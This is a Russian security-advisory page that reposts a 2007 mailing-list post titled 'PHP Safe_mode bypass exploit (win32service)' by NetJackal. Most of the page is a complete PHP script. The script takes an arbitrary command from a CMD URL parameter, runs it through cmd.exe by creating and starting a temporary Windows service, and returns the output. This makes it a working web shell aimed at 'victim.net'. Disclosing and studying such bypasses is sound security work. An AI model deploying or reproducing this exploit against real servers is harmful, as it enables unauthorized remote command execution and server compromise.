Информационная безопасность
[RU] switch to English


Дополнительная информация

  Обход защиты безопасного режима PHP через расширение win32service (protection bypass)

From:nima_501_(at)_yahoo.com <nima_501_(at)_yahoo.com>
Date:27 июля 2007 г.
Subject:PHP Safe_mode bypass exploit (win32service)

<?php

#####################################################
### PHP Safe_mode bypass exploit (win32service)   ###
###                                               ###
### Note: Tested on 5.2.1                         ###
###                                               ###
### Author:  NetJackal                            ###
### Email:   nima_501[at]yahoo[dot]com            ###
### Website: http://netjackal.by.ru               ###
###                                               ###
###                                               ###
### Usage: http://victim.net/nj.php?CMD=[command] ###
#####################################################

$command=(isset($_GET['CMD']))?$_GET['CMD']:
'dir'; #cammand
$dir=ini_get('upload_tmp_dir'); #Directory to store command's output

if(!extension_loaded('win32service'))die('win32se
rvice extension not found!');
$name=$dir."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:
\\windows\\system32\\cmd.exe':
$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,
'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
$exec=file_get_contents($name);
unlink($name);
echo "<pre>".htmlspecialchars($exec).
"</pre>";
?>

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород